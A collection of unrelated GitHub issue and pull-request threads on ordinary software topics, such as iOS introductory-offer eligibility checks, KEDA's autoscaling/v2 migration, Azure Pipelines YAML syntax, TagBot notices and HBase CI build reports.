https://developer.apple.com/documentation/storekit/in-app_purchase/subscriptions_and_offers/implementing_introductory_offers_in_your_app
https://blog.apphud.com/introductory-offers-in-ios/
Helpful article snippet:
"As of iOS 12.0, SKProduct now includes subscriptionGroupIdentifier property, so it's now possible to compute Introductory Pricing eligibility locally.
While this update is great, calculating intro eligibility locally still requires a lot of unnecessary dev work.
To check intro eligibility on iOS >= 12.0, you need to:

Refresh the receipt so you have updated information about the user's purchases
Parse the receipt and look for purchases made with introductory pricing
Transform the identifiers for purchases made with intro pricing into SKProducts
Transform the productIdentifiers you want to check eligibility for into SKProducts
Check if there's a match - if there's at least one purchase made using intro pricing for the same product identifier or the same subscription group, the user is not eligible. If none are found, they're eligible."
https://www.revenuecat.com/blog/ios-introductory-prices

Upon closer investigation into the TPA codebase a variable similar to promotionalOfferIdentifier from receipt.purchases.first except for introductory would suffice.  as described in the article snippet.  As if we can get an identifier tied to a product signifying if the user ever used an intro price then we can compare against list of products.  If a match is found we have determined the user in ineligible.

Hi @Jerland2,sorry for the late response, I've been off the grid for the last couple weeks and going to be online next week.
I think we can do it, but I need some time.
Thanks,
Pavel

Hi @Jerland2, I'm back and about to start working on it. I think, I will have something to try later today.

@Jerland2
I've pushed two new methods to check whether user is eligible for introductory offer into feature/introductory-offer-support branch.
Example:
...
let receipt = try InAppReceipt.localReceipt()
var isEligible = receipt.isEligibleForIntroductoryOffer(for: "com.test.product.id")
// or
isEligible = receipt.isEligibleForIntroductoryOffer(for: ["com.test.product.1", "com.test.product.2", "com.test.product.3"])
...

I think we can also add a support to check whether the user is not eligible for any products within the same subscription group.

brilliant idea, we need it 🥇

We will definitely have it, just need to check whether current implementation works well and if so I will merge it to master and then, I will implement checking whether the user is eligible for any products within the same subscription group.

Hi @Jerland2, @ungerc
I've push code into feature/introductory-offer-support branch with support for checking whether user is eligible for any products within the same subscription group.
Basically, you can retrieve a subscription group from SKProductsResponse using an extension provided by the library and then check whether user is eligible or not:

extension SKManager: SKProductsRequestDelegate
{
    func productsRequest(_ request: SKProductsRequest, didReceive response: SKProductsResponse)
    {
        let group = response.subscriptionGroup
        // let groups = response.subscriptionGroups // Use this if you have more than one group

        let r = try InAppReceipt()
	let isEligible = r.isEligibleForIntroductoryOffer(for: group)

	// Do your stuff
    }
}

I think, I will merge it into master tomorrow.

cool, I have a day off today, will check tomorrow.

Hi @tikhop,
nice - looks good

@ungerc thanks for checking it out. I'm going to release it later today.

Just released it.
Thanks @Jerland2 and @ungerc.

thanks @tikhop,
forgive my ignorance but is there a necessity for you to update sth in the cocoapods repo in order for the version to appear there?

@ungerc I'm sorry — updating cocoapods right now.

@ungerc ✅

oh and it doesn't, now I get it - my head was in a very dark place

Yeah, It may seem like overengineering, but I tried to emphasize that the set of product identifiers must belong to the same subscription group.


Adding capacity to post to mobile only campaigns.

Fixes #4986
Updating logic in dosomething_campaign_is_active($node)  to return true when a campaign is on mobile app and may or may not be publsihed.

@angaither

:+1:


Copa Docker Extension

copa is a CLI tool written in Go and based on buildkit that can be used to directly patch container images given the vulnerability scanning results from popular tools like Trivy.

@sivolko


Do not store miniquad Context in nonaquad renderer

This change removes the ownership of miniquad::Context by nonaquad's renderer.
This allows the integration of nona and nonaquad in other application as a canvas painting layer.
See modified drawaa example for the largest API change.

You can check en example integration at https://github.com/smokku/soldank/blob/2e0c41a/client/src/render/game.rs#L158

I like the idea! Will look into it today.

Thank you! Looks very clean and the unsafe is gone which is great! I may rename nona.attach_renderer to nona.draw later just to make it a little shorter, will see.


Trouble implementing 404s with forNoMatch

Firstly, thanks for a great alternative to react-router.
I'm struggling to work out how to implement a 404 page though, which seems to be what forNoMatch is intended for.  Unfortunately, it doesn't really seem to do the trick as it will greedily match urls through the hierarchy you define in your parent React component.
For example, if I change one of the links in the demo to /dog/foobar, which is clearly not a valid path based on either routes.js or demo.js, I still don't see the 404 content when I click on it because the url has already matched /dog, which is resolved to /dog* in  resolveCurrentRoute.  As a result you just get a page with no content, as there's no matching route in routes.js, but the 404 component is nowhere to be seen.
The only work around for this I can think of is to list all valid routes in the route configuration (whether there's any data associated with them or not) and then have a top-level wrapper component which displays the 404 content rather than the Fragment tree if the current router state has no result.
Could you let me know if I'm missing something here?  Is there a way to achieve this using forNoMatch Fragments?

I wonder if this is related to https://github.com/FormidableLabs/redux-little-router/issues/232, route-matching being too greedy.


In subcribe and unsubscribe make a command that directly reverts the action

When a user uses /(un)subscribe serde the bot should respond with a clickable command to (un)subscribe back to serde. This could be done either by a command like /(un)subcribe_serde (then we should parse it as /(un)subscribe serde) or by using "deep linking"

Alternatively, I could add a callback button to unsubscribe by the way :thinking:


Yatin: Watch eapks.com

Yatin requests the watch of the watch_keyword eapks\.com. See the MS search here and the Stack Exchange search in text, in URLs, and in code.

eapks\.com has been seen in 1 true positive, 0 false positives, and 0 NAAs.

Approved by cigien in Charcoal HQ


No documentation on "uses:"

Would be great to have some documentation on "uses:" definition, with example as I tried to use it and only got errors regarding type I'm passing:
uses:
    repositories: a b c

I also found this example at https://docs.microsoft.com/en-us/azure/devops/pipelines/repos/azure-repos-git?view=azure-devops&tabs=yaml#limit-job-authorization-scope-to-referenced-azure-devops-repositories which is totally different as does not groups uses subgroups:
steps:
- checkout: git://FabrikamFiber/FabrikamTools # Azure Repos Git repository in the same organization
- script: Do something with that repo

# Or you can reference it with a uses statement in the job
uses:
- FabrikamTools # Repository reference to FabrikamTools

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 7458d5b2-1bb7-7d87-7ce6-2b0c430b0155
Version Independent ID: edf5bbd3-a3f0-5426-e985-31290f8afd05
Content: YAML schema - Azure Pipelines
Content Source: docs/pipelines/yaml-schema.md
Product: devops
Technology: devops-cicd
GitHub Login: @steved0x
Microsoft Alias: sdanie

@quasarea Sorry for the delay on this. There is some documentation here in the YAML schema section for Job:
https://docs.microsoft.com/en-us/azure/devops/pipelines/yaml-schema?view=azure-devops&tabs=schema%2Cparameter-schema#job
That example in the Azure Repos Git section is wrong and I will get that fixed up, the correct syntax is in the Job section in the YAML schema, each one is a list of one ore more repos or pools:
jobs:
- job: string  # name of the job (A-Z, a-z, 0-9, and underscore)
  displayName: string  # friendly name to display in the UI
.
.
.
  uses: # Any resources (repos or pools) required by this job that are not already referenced
    repositories: [ string ] # Repository references to Azure Git repositories
    pools: [ string ] # Pool names, typically when using a matrix strategy for the job

So it would be like this for your example:
jobs:
- job: string  # name of the job (A-Z, a-z, 0-9, and underscore)
  displayName: string  # friendly name to display in the UI
.
.
.
  uses: # Any resources (repos or pools) required by this job that are not already referenced
    repositories:
    - a
    - b
    - c

I'll get this fixed up (and I will come back and update my example if I have got the spacing wrong since I am just typing into this box)
Thank you for letting us know and sorry that you ran into trouble


Time tracking plugin shows inaccurate info when farming plot contains diseased crop

Overview of the Issue
The issue pertains to the farming contract aspect of the Time Tracking official plugin. This plugin normally gives the status of the plot you're currently assigned to using an infobox overlay in the upper left corner of the screen. The infobox includes the estimated time until growth is complete if the correct plant is currently growing already.
Specifically, if the plant is diseased when user logs in, it will report that the plot is ready to be harvested, even if it's not usually the time it would be finished had it not become diseased.
Java Version and Operating System
(copied from About tab in client)
Runelite version: <IP_ADDRESS>
Oldschool revision: Rev 190
Launcher version: Unknown
Reproduce the Error

Plant seed/sapling according to current farming contract in empty plot
a. Ideally plant a snapdragon seed after receiving a snapdragon as a contract assignment (unsure if necessary step)
Use ultracompost from bottomless bucket (unsure if necessary step)
Logout within the farming guild
Log back in after at least one growth stage has occurred

Expected: Infobox overlay in upper left should show that the contracted plot is diseased and must be cured (perhaps warning yellow text instead of white or green) else the crop will be lost. If not, at least show the actual time remaining as if it were not diseased.
Actual: Infobox overlay shows the name of the plant in green and status of "Ready" also in green (see screenshot below)

I am currently testing a fix for this.


[BUG] - processImage(); not defined error.

It is in the console, line 163.
It happens every time it processes an image and 'uncompresses' it.

This will be fixed in v3.5.


BulkWrite op (3.2)

https://docs.mongodb.org/manual/core/bulk-write-operations/

This issue is the only one that I found mentioning bulk writes in ReactiveMongo. Has it been implemented or are there any plans to implement it?

There is no MongoDB bulkWrite command, that's MongoShell features, so don't fit well the driver well. The existing bulkInsert operation will be refactored (no specific planning). BTW the place to ask question is rather the MailingList (as this tracker is for confirmed issue or actionable feature request). Best regards


Feature

What was done:

Created a new repository for the application.
cloned and installed the react files.
Installed the linter test files.
Created new branches for development.
Developed a to-do list with local storage.
pushed and opened a pull request.

Thanks for reviewing my code

Thank you


Supporting Multi Touch on GestureDetector Widget

Use case
GestureDetector is a very helpful widget, but it does not support using multi touch recognizers, I was wondering is there is a reason for that.
Proposal
I have made a small test, I copied the code from the GestureDetector into our repository, added the MultiTap recognizer and its callbacks and it worked fine (you can see this here)
I am willing to submit a PR to address that, but I wanted to be sure if these recognizers can be included on this widget, or if they weren't included for any reason.
Thanks!

Hi @erickzanardo
Can you please take a look at this https://github.com/flutter/flutter/issues/11600
Thank you

Thanks for the response @TahaTesser
I read the thread and was very informative, but it is still not clear to me if there is space to add the multi touch detectors inside GestureDetector, The Listener class is cool, but it is harder to use when comparing to the GestureDetector, and adding the multi touch to it seems quite simple to do. I will probably try to assemble a PR proposing that :)

Multi tap is designed to be an esoteric gesture and excluded from GestureDetector. We didn't want people accidentally using it without thinking about it closely. If you'd like to use it, you can still assign MultiTapGestureRecognizer to RawGestureDetector by following the code in gesture_detector.dart.

Multi tap is designed to be an esoteric gesture and excluded from GestureDetector. We didn't want people accidentally using it without thinking about it closely. If you'd like to use it, you can still assign MultiTapGestureRecognizer to RawGestureDetector by following the code in gesture_detector.dart.

Thanks for the Reply, that was exactly what I wanted to know, if this was intended, I will not bother to make a PR then. Thanks!


Refactor

Refactored code

The code isnt actually missing, I just moved it to another file so it is easier to find which part of the code we are working on


[ALLUXIO-3103] Selectively setOwner during mkdirs

https://alluxio.atlassian.net/browse/ALLUXIO-3103

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/18617/
Test PASSed.

@calvinjia
If only one is set, I think the semantics are different per UFS. HDFS sets the owner and group in a single call. LocalUFS checks and sets them independently. Object stores do not even set owner/group. I am staying consistent with other parts of our code (https://github.com/Alluxio/alluxio/blob/master/core/common/src/main/java/alluxio/underfs/AtomicFileOutputStream.java#L89).
I think all the UFSes are correct now, or do not use setOwner (object stores).

Does that mean for HDFS ufs, we could end up having owner bob group bob and end up with owner alice and an empty group?

Yes, I think so. However, looking at the HDFS namenode code, it looks like if the strings are null, they will be ignored. Maybe this is what we should do for HDFS UFS.

@calvinjia I updated the PR to handle the unset user/group better.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/18625/
Test PASSed.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/18638/
Test PASSed.


IOPS Support

Is there any planned feature to set IOPS in Storage Classes and related support in Kubernetes?

Yeah, it will be a part of https://github.com/longhorn/longhorn/issues/750 , though we won't have much time to work on it before the GA.


feat: Migrate to autoscalingv2

Signed-off-by: Jorge Turrado<EMAIL_ADDRESS>
Provide a description of what has been changed
Checklist

[x] Commits are signed with Developer Certificate of Origin (DCO - learn more)
[x] Tests have been added
[x] Changelog has been updated and is aligned with our changelog requirements

Fixes https://github.com/kedacore/keda/issues/2462

/run-e2e

/run-e2e

/run-e2e

/run-e2e

/run-e2e

In the scaledobject_controller.go around line 133 you should check this as well:
Owns(&autoscalingv2beta2.HorizontalPodAutoscaler{}).

I haven't reviewed the whole PR yet.

Nice catch! Updated

I have redone the PR with to migrate to v2 instead of supporting both. I'll prepare the PR to docs ASAP

/run-e2e

/run-e2e

/run-e2e

Would you mind sending a PR to update our Helm chart to enforce 1.23 or above please?

I'm not sure about enforce 1.23 in the chart because users can modify the tag so new chart could use old images. But maybe it doesn't make sense. I'll open it.

Did you verify that the new API version doesn't have breaking changes that impact us? (on the phone)

I have tried running the e2e/smoke test against clusters with autoscaling/v2 and they pass, I'd be nice if I had a k8s v1.26 but atm IDK how to test that :/

/run-e2e

Would you mind sending a PR to update our Helm chart to enforce 1.23 or above please?

I'm not sure about enforce 1.23 in the chart because users can modify the tag so new chart could use old images. But maybe it doesn't make sense. I'll open it.

That's a valid point but think it's best to guide/force end-users that follow the usual path; if they need the latest chart it typically means they need a feature that is in 2.9. Otherwise they can use our current Helm chart.

Did you verify that the new API version doesn't have breaking changes that impact us? (on the phone)

I have tried running the e2e/smoke test against clusters with autoscaling/v2 and they pass, I'd be nice if I had a k8s v1.26 but atm IDK how to test that :/

I guess the breaking changes docs from Kubernetes but  Iguess it's OK, no worries

/run-e2e

How does it look to you @tomkerkhove ? Can I merge it?


a test commit

Checklist before requesting a review

[ ] I am opening this PR for the develop branch and NOT master.
[ ] I have read the contributing guidelines.

Type of change
Please delete options that are not relevant.

[ ] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] This change requires a documentation update

Describe your changes
Issue number and link, if applicable

fjlksdfsd


TagBot trigger issue

This issue is used to trigger TagBot; feel free to unsubscribe.
If you haven't already, you should update your TagBot.yml to include issue comment triggers.
Please see this post on Discourse for instructions and more details.
If you'd like for me to do this for you, comment TagBot fix on this issue.
I'll open a PR within a few hours, please be patient!

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/111156

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/113012

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/114459

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/116232

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/116611

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/116719

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/118518

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/118694

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/118771

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/119209

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/119424

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/119419

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/119515

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/120784

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/120841

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/120938

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/121569

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/122139

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/122178


Add nitro installation instruction

Add nitro installation instruction to docusaurus

Close since @hahuyhoang411 will include this docs in another PR


TS: Parameter values are optional when can't be inferred

Closes #229

When route parameters can't be inferred at a compile time, they become optional now. Routes may contain optional segments (e.g. /:rest*) so some parameters could be undefined
Parameter values are now readonly

Hey @HansBrende, I hope this is still relevant. Once again, sorry for my late reply. I've updated type definitions based on your suggestions, do you mind taking a look?
Thanks!

@molefrog sure thing, thanks a lot! Will take a look tomorrow. Also since you now seem to be back in business, I have a PR open which I've been waiting for some kind of resolution for (would love to strip the hacks out of my current code) if you'd be so kind as to take a look: https://github.com/molefrog/wouter/pull/231

@molefrog thanks! I've taken a look and it appears to be working as expected now. (Note however that I've only tested the typescript 4.1 and standard React flavors, I have not tested on Preact or out-of-date typescript versions).
Also note my comment describing how the second half of the issue I raised is fixed in React 18, but still present before React 18.
Side note: since you now seem to be back in business, I have a PR open which I've been waiting for some kind of resolution for (would love to replace the hacks in my current codebase with this simple fix) if you'd be so kind as to take a look: https://github.com/molefrog/wouter/pull/231

@molefrog thanks! I've taken a look and it appears to be working as expected now. (Note however that I've only tested the typescript 4.1 and standard React flavors, I have not tested on Preact or out-of-date typescript versions).
Also note my comment describing how the second half of the issue I raised is fixed in the React 18 typings, but still present before React 18.

Thank you for the review.
The second half of the issue is to be addresses in the next PR, I've checked it and it is a valid point.

Side note: since you now seem to be back in business, I have a PR open which I've been waiting for some kind of resolution for (would love to replace the hacks in my current codebase with this simple fix) if you'd be so kind as to take a look: #231

Yep, in my to-do list.


Replace "Docker registry" with "container registry" throughout

Here for example https://docs.ranchermanager.rancher.io/how-to-guides/new-user-guides/kubernetes-resources-setup/kubernetes-and-docker-registries
This is to clarify that Docker is not needed. You could also use containerd.

Resolved


HBASE-23891: Add an option to Actions to filter out meta RS

make skipping or killing meta RegionServer cofigurable for new actions

:confetti_ball: +1 overall

Vote
Subsystem
Runtime
Comment

+0 :ok:
reexec
1m 13s
Docker mode activated.

_ Prechecks _

+1 :green_heart:
dupname
0m  0s
No case conflicting files found.

+1 :green_heart:
hbaseanti
0m  0s
Patch does not have any anti-patterns.

+1 :green_heart:
@author
0m  0s
The patch does not contain any @author tags.

+1 :green_heart:
test4tests
0m  0s
The patch appears to include 7 new or modified test files.

_ master Compile Tests _

+1 :green_heart:
mvninstall
7m  3s
master passed

+1 :green_heart:
compile
0m 34s
master passed

+1 :green_heart:
checkstyle
0m 21s
master passed

+1 :green_heart:
shadedjars
5m 40s
branch has no errors when building our shaded downstream artifacts.

+1 :green_heart:
javadoc
0m 20s
master passed

+0 :ok:
spotbugs
6m  2s
Used deprecated FindBugs config; considering switching to SpotBugs.

+1 :green_heart:
findbugs
0m  0s
master passed

_ Patch Compile Tests _

+1 :green_heart:
mvninstall
6m 13s
the patch passed

+1 :green_heart:
compile
0m 32s
the patch passed

+1 :green_heart:
javac
0m 32s
the patch passed

+1 :green_heart:
checkstyle
0m 18s
the patch passed

+1 :green_heart:
whitespace
0m  0s
The patch has no whitespace issues.

+1 :green_heart:
shadedjars
5m 31s
patch has no errors when building our shaded downstream artifacts.

+1 :green_heart:
hadoopcheck
17m 43s
Patch does not cause any errors with Hadoop 2.8.5 2.9.2 or 3.1.2.

+1 :green_heart:
javadoc
0m 14s
the patch passed

+1 :green_heart:
findbugs
0m  0s
the patch passed

_ Other Tests _

+1 :green_heart:
unit
0m 49s
hbase-it in the patch passed.

+1 :green_heart:
asflicense
0m 12s
The patch does not generate ASF License warnings.

53m 37s

Subsystem
Report/Notes

Docker
Client=19.03.6 Server=19.03.6 base: https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-1217/1/artifact/out/Dockerfile

GITHUB PR
https://github.com/apache/hbase/pull/1217

JIRA Issue
HBASE-23891

Optional Tests
dupname asflicense javac javadoc unit spotbugs findbugs shadedjars hadoopcheck hbaseanti checkstyle compile

uname
Linux 4fe92cb7311e 4.15.0-74-generic #84-Ubuntu SMP Thu Dec 19 08:06:28 UTC 2019 x86_64 GNU/Linux

Build tool
maven

Personality
/home/jenkins/jenkins-slave/workspace/Base-PreCommit-GitHub-PR_PR-1217/out/precommit/personality/provided.sh

git revision
master / 3c3aae9a2f

Default Java
1.8.0_181

Test Results
https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-1217/1/testReport/

Max. process+thread count
393 (vs. ulimit of 10000)

modules
C: hbase-it U: hbase-it

Console output
https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-1217/1/console

versions
git=2.11.0 maven=2018-06-17T18:33:14Z)

Powered by
Apache Yetus 0.11.1 https://yetus.apache.org

This message was automatically generated.

Hi @wchevreuil
Thanks a lot for your feedback.
To allow a more generic approach I made a small change and made the monkeyProperties available for Actions too. This way we can make them configurable without passing custom parameters from the ChaosMonkeys through the constructor. I moved the skip logic to the Action and now it's possible to skip the meta region server in every action with a single configuration. This made one of the existing actions redundant so I cleaned it up.

:broken_heart: -1 overall

Vote
Subsystem
Runtime
Comment

+0 :ok:
reexec
1m 11s
Docker mode activated.

_ Prechecks _

+1 :green_heart:
dupname
0m  1s
No case conflicting files found.

+1 :green_heart:
hbaseanti
0m  0s
Patch does not have any anti-patterns.

+1 :green_heart:
@author
0m  0s
The patch does not contain any @author tags.

+1 :green_heart:
test4tests
0m  0s
The patch appears to include 22 new or modified test files.

_ master Compile Tests _

+1 :green_heart:
mvninstall
6m  7s
master passed

+1 :green_heart:
compile
0m 30s
master passed

+1 :green_heart:
checkstyle
0m 20s
master passed

+1 :green_heart:
shadedjars
5m 11s
branch has no errors when building our shaded downstream artifacts.

+1 :green_heart:
javadoc
0m 15s
master passed

+0 :ok:
spotbugs
5m 27s
Used deprecated FindBugs config; considering switching to SpotBugs.

+1 :green_heart:
findbugs
0m  0s
master passed

_ Patch Compile Tests _

+1 :green_heart:
mvninstall
5m 39s
the patch passed

+1 :green_heart:
compile
0m 29s
the patch passed

+1 :green_heart:
javac
0m 29s
the patch passed

-1 :x:
checkstyle
0m 18s
hbase-it: The patch generated 7 new + 122 unchanged - 1 fixed = 129 total (was 123)

+1 :green_heart:
whitespace
0m  0s
The patch has no whitespace issues.

+1 :green_heart:
shadedjars
5m 13s
patch has no errors when building our shaded downstream artifacts.

+1 :green_heart:
hadoopcheck
17m 57s
Patch does not cause any errors with Hadoop 2.8.5 2.9.2 or 3.1.2.

+1 :green_heart:
javadoc
0m 13s
the patch passed

+1 :green_heart:
findbugs
0m  0s
the patch passed

_ Other Tests _

+1 :green_heart:
unit
0m 51s
hbase-it in the patch passed.

+1 :green_heart:
asflicense
0m 12s
The patch does not generate ASF License warnings.

51m 22s

Subsystem
Report/Notes

Docker
Client=19.03.7 Server=19.03.7 base: https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-1217/2/artifact/out/Dockerfile

GITHUB PR
https://github.com/apache/hbase/pull/1217

JIRA Issue
HBASE-23891

Optional Tests
dupname asflicense javac javadoc unit spotbugs findbugs shadedjars hadoopcheck hbaseanti checkstyle compile

uname
Linux d4aa0ecdd01d 4.15.0-74-generic #84-Ubuntu SMP Thu Dec 19 08:06:28 UTC 2019 x86_64 GNU/Linux

Build tool
maven

Personality
/home/jenkins/jenkins-slave/workspace/Base-PreCommit-GitHub-PR_PR-1217/out/precommit/personality/provided.sh

git revision
master / 9bd39786df

Default Java
1.8.0_181

checkstyle
https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-1217/2/artifact/out/diff-checkstyle-hbase-it.txt

Test Results
https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-1217/2/testReport/

Max. process+thread count
394 (vs. ulimit of 10000)

modules
C: hbase-it U: hbase-it

Console output
https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-1217/2/console

versions
git=2.11.0 maven=2018-06-17T18:33:14Z)

Powered by
Apache Yetus 0.11.1 https://yetus.apache.org

This message was automatically generated.

:confetti_ball: +1 overall

Vote
Subsystem
Runtime
Comment

+0 :ok:
reexec
1m  3s
Docker mode activated.

_ Prechecks _

+1 :green_heart:
dupname
0m  0s
No case conflicting files found.

+1 :green_heart:
hbaseanti
0m  0s
Patch does not have any anti-patterns.

+1 :green_heart:
@author
0m  0s
The patch does not contain any @author tags.

+1 :green_heart:
test4tests
0m  0s
The patch appears to include 22 new or modified test files.

_ master Compile Tests _

+1 :green_heart:
mvninstall
5m 57s
master passed

+1 :green_heart:
compile
0m 29s
master passed

+1 :green_heart:
checkstyle
0m 20s
master passed

+1 :green_heart:
shadedjars
5m 15s
branch has no errors when building our shaded downstream artifacts.

+1 :green_heart:
javadoc
0m 15s
master passed

+0 :ok:
spotbugs
5m 32s
Used deprecated FindBugs config; considering switching to SpotBugs.

+1 :green_heart:
findbugs
0m  0s
master passed

_ Patch Compile Tests _

+1 :green_heart:
mvninstall
5m 34s
the patch passed

+1 :green_heart:
compile
0m 30s
the patch passed

+1 :green_heart:
javac
0m 30s
the patch passed

+1 :green_heart:
checkstyle
0m 19s
hbase-it: The patch generated 0 new + 122 unchanged - 1 fixed = 122 total (was 123)

+1 :green_heart:
whitespace
0m  0s
The patch has no whitespace issues.

+1 :green_heart:
shadedjars
5m 15s
patch has no errors when building our shaded downstream artifacts.

+1 :green_heart:
hadoopcheck
17m 35s
Patch does not cause any errors with Hadoop 2.8.5 2.9.2 or 3.1.2.

+1 :green_heart:
javadoc
0m 13s
the patch passed

+1 :green_heart:
findbugs
0m  0s
the patch passed

_ Other Tests _

+1 :green_heart:
unit
0m 52s
hbase-it in the patch passed.

+1 :green_heart:
asflicense
0m 12s
The patch does not generate ASF License warnings.

50m 42s

Subsystem
Report/Notes

Docker
